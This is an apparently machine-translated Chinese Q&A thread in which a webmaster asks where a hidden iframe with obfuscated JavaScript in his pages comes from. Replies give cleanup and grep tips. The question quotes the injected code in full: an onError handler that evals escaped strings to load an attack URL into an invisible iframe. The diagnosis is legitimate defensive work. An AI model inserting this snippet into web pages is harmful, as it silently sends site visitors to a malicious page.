2011-03-05 44 views
2

我的網站上的一些頁面包括一個意想不到的隱藏iframe與一些JavaScript在他們的輸出。我已閱讀過有關網站遭到黑客攻擊和類似的代碼被添加到php和html文件之前,但這不是問題,因爲我的文件實際上都不包含最終輸出的內容。我不知道這是怎麼發生的。 是否有一些全局php代碼可以在每個頁面加載時執行,或者可以在apache級別執行?我不知所措。幫助奇怪的PHP JavaScript /隱藏的iframe破解

這是我所看到的輸出的一個例子:

<div style="display: block;overflow:hidden;width:0;height:0;left:0px;position:absolute;top:0px"><img id="7867" height="1" width="1"><img src="about:blank" onError='bvnnho=unescape("%27");fyvdmn=eval("document.getElementById("+bvnnho+"npelmp"+bvnnho+").src=unescape("+bvnnho+"%68%74%74%70%3A%2F%2F"+bvnnho+")+document.getElementById("+bvnnho+"7867"+bvnnho+").id+unescape("+bvnnho+"%2E%69%6E%2F"+bvnnho+")+"+bvnnho+"1299250012"+bvnnho+"+unescape("+bvnnho+"%2E%70%68%70"+bvnnho+")");document.getElementById("npelmp").src=fyvdmn' style="width:300;height:300;border:0px;"><iframe id="npelmp" src="about:blank"></iframe></div> 

我已經在我的劇本非常小心,不要看它如何能夠輸出此。我注意到它的原因是我的腳本用於編寫csv文件,並且iframe - 甚至是隱藏的 - 在csv文件中像伸出的拇指一樣突出顯示。我的網站主人表示他們沒有收到任何其他用戶的投訴,所以這一定是我的問題。

我已經檢查了我的所有代碼(用手和我的本地副本進行比較),並且通過我的數據庫(它只包含整數)。我沒有發現這是從哪裏來的跡象。

哦,另一個難以追查的位是它並不是每次都出現。所以當我試圖展示主機支持時,它不在那裏。

有沒有人看過這個之前。或者我還有什麼可以看的地方?

謝謝...

+0

在瀏覽器中關閉JS並刷新頁面,如果它仍然出現它不是來自JavaScript。因此,必須在PHP中,反之亦然,那麼您需要查看通過任何代碼導致它出現的跟蹤。 – 2011-03-05 17:14:08

+2

您可能*已*被黑客入侵。該腳本有點粗糙,但在評估時會加載一個指向「http:// 7867.in/1299250012.php」的iframe。 Firefox告訴我這是一個報告的攻擊頁面。 – NullUserException 2011-03-05 17:24:05

+0

@ david-gillen是的,我意識到它不是純粹從javascript生成 - 我只是想說,怪異包括JavaScript。我正在查看來自服務器的原始輸出作爲純文本,而且我正在看到上面粘貼的內容 - 我無法在我的php(或其他地方)的任何位置找到它,以便我可以將其清除!這就是爲什麼我想知道它是否被apache插入的方式。 – glancep 2011-03-06 03:30:41

回答

0

如果您有SSH訪問,你可能只是運行

grep iframe ./ -Ri 

(提示,黑客通常使用隱藏目錄,命名爲「」或類似的東西,這可能是爲什麼不「找不到它)

如果失敗,嘗試搜索的數據庫,無論是與phpMyAdmin或者傾倒的原始內容到一個文件,它grepping通常的方式

mysqldump -uUSERID -pPASSWORD DATABASENAME > mydump.sql 
grep iframe mydump -i 
+0

感謝您的回覆。不幸的是,我沒有ssh訪問權限。我的cPanel有一個備份選項,可以給我所有的zip文件 - 所以我會在本地解壓後嘗試grep它。我只是不明白這是如何發生的,而iframe是清晰的,而不是在似乎正在產生它的PHP文件中......沒有包含或任何東西,它是非常簡單的代碼。這是什麼讓我質疑它是否正在從流氓Apache模塊或什麼東西上被加入。 – glancep 2011-03-06 03:36:13

+0

此外,我忘了提到之前,但我的數據庫只是一個sqlite文件。我在本地下載了它,並按照預期 - 只包含它應該包含的整數。如果您有任何其他想法,請告訴我...謝謝! – glancep 2011-03-06 03:37:13

+0

很多時候黑客都包含一個隱藏的php文件。該PHP文件只包含從遠程主機加載php代碼然後執行它的指令。因此,設置ALLOW_URL_FOPEN和ALLOW_URL_INCLUDE可防止黑客腳本工作。我建議你嘗試GREP你的源文件夾尋找「http」。另外,不要手動查看,因爲您希望能夠發現您可能忽略的隱藏文件,因此請使用自動化工具。同時檢查.htaccess的內容。 – tacone 2011-03-06 12:58:18

0

這很常見。

搜索,看起來像一個字符串的所有文件:

<?php eval(base64_decode("ZnVuY3Rpb24g...

此代碼可能會在header.php文件或其他一些PHP文件。

請回到這裏,找到你所找到的。

+0

不幸的是,我還沒有找到任何東西。我的腳本沒有包括(沒有標題或任何東西 - 我只輸出逗號/冒號分隔的數字),沒有評估....沒有什麼不尋常的。所以,除非有其他腳本正在執行的方式(沒有,如所述的那樣,在我的請求腳本中沒有明確包含),那麼對於這些​​腳本來自哪裏,我會感到不知所措。 – glancep 2011-03-08 04:03:07